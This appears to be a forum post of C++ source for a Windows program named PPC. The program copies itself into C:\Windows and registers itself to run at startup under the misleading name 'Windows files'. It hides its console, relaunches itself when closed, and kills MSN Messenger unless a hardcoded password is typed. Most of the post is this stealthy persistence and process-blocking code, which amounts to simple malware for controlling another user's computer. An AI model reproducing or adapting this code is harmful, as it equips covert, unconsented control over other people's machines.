Código: Seleccionar todo

#include <windows.h>
#include <iostream>
#include <tlhelp32.h>

#define BUFSIZE 90

int test_key(void);
int create_key(char *);
int detec(void);
int pass(void);
int kill(void);
int open(void);


int result;
char p[20];
char v[20]="pablorules";


    HWND invisible;



BOOL WINAPI CtrlHandler (DWORD CtrlType) {

    switch (CtrlType) {

        case CTRL_CLOSE_EVENT:
            Sleep(20);
            open();
            return 0;
        default:
            return FALSE;
    }
}

BOOL KillProcess(LPSTR lpszExecutable)
{
    BOOL bResult = FALSE;
    PROCESSENTRY32 pe32 = { sizeof(PROCESSENTRY32) };
    HANDLE hProcess, hProcesses = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if(Process32First(hProcesses, &pe32)){
        do{
            if(CompareString(LOCALE_USER_DEFAULT, NORM_IGNORECASE, pe32.szExeFile, -1, lpszExecutable, -1) == CSTR_EQUAL){
                if((hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe32.th32ProcessID)) != NULL){
                    TerminateProcess(hProcess, 0); CloseHandle(hProcess); bResult = TRUE;
                }
            }
        }while(Process32Next(hProcesses, &pe32));
        CloseHandle(hProcesses);
    }
    return bResult;
}




int main()
{
    system("title PPC");
        BOOL added;

         added = SetConsoleCtrlHandler ((PHANDLER_ROUTINE) CtrlHandler,
                                   TRUE);
        int test,create;
    test=test_key();

    if (test==2)
    {
        char *path="c:\\WINDOWS\\PPC.exe";
        create=create_key(path);

    }
        char root[60]="C:\\Windows\\";
        char nombre[60]="PPC";
        char path[256]="PPC";
        strcat(nombre,".exe");
        strcat(root,nombre);
        HMODULE copiar = GetModuleHandle(0);
        GetModuleFileName(copiar, path, 256);
        CopyFile(path,root,false);
detec();
AllocConsole();
 invisible=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(invisible,1);
if (result==1)
{
    printf("Activado\n");
    Sleep(222);
pass();
if (strcmp(v,p)!=0){
kill();
result=0;
}
else
{
 return 0;
}
}
else if (result==0)
{
     Sleep(222);
detec();
}
main();
}

int pass(void)
{
   printf ("\nIntroduzca clave: ");
   scanf("%s",&p);
if (strcmp(v,p)!=0){

 printf("\nIncorrecto\n");
 system("cls");
 Sleep(1111);
}
else
{
 printf("\nCorrecto\n");
  Sleep(999);
}
}


int kill(void)
{
return KillProcess("msnmsgr.exe");
}

int open(void)
{
             HINSTANCE__* r = ShellExecute(NULL, "open", "C:\\WINDOWS\\PPC.exe", NULL, NULL, SW_SHOWNORMAL);
}

int detec(void)
{
AllocConsole();
 invisible=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(invisible,0);
HANDLE hProcessSnap;
HANDLE hProcess;
PROCESSENTRY32 pe32;
DWORD dwPriorityClass;



hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
if( hProcessSnap == INVALID_HANDLE_VALUE )
{
printf( TEXT("CreateToolhelp32Snapshot (of processes)") );
return( FALSE );
}


pe32.dwSize = sizeof( PROCESSENTRY32 );



if( !Process32First( hProcessSnap, &pe32 ) )
{
printf( TEXT("Process32First") );
CloseHandle( hProcessSnap );
return( FALSE );
}


do
{

if(strcmp("msnmsgr.exe",pe32.szExeFile )==0){
result=1;
break;
}

} while( Process32Next( hProcessSnap, &pe32 ) );

if(result==1)
{
Sleep(22);
}
else
{
result=0;
 Sleep(22);
}
CloseHandle( hProcessSnap );
}

int test_key(void)
{
    int check;
    HKEY hKey;
    char path[BUFSIZE];
    DWORD buf_length=BUFSIZE;
    int reg_key;

    reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
    if(reg_key!=0)
    {
        check=1;
        return check;
    }

    reg_key=RegQueryValueEx(hKey,"Windows Files",NULL,NULL,(LPBYTE)path,&buf_length);

    if((reg_key!=0)||(buf_length>BUFSIZE))
        check=2;
    if(reg_key==0)
        check=0;

    RegCloseKey(hKey);
    return check;
}

int create_key(char *path)
{
        int reg_key,check;

        HKEY hkey;

        reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
        if(reg_key==0)
        {
                RegSetValueEx((HKEY)hkey,"Windows files",0,REG_SZ,(BYTE *)path,strlen(path));
                check=0;
                return check;
        }
        if(reg_key!=0)
                check=1;

        return check;
}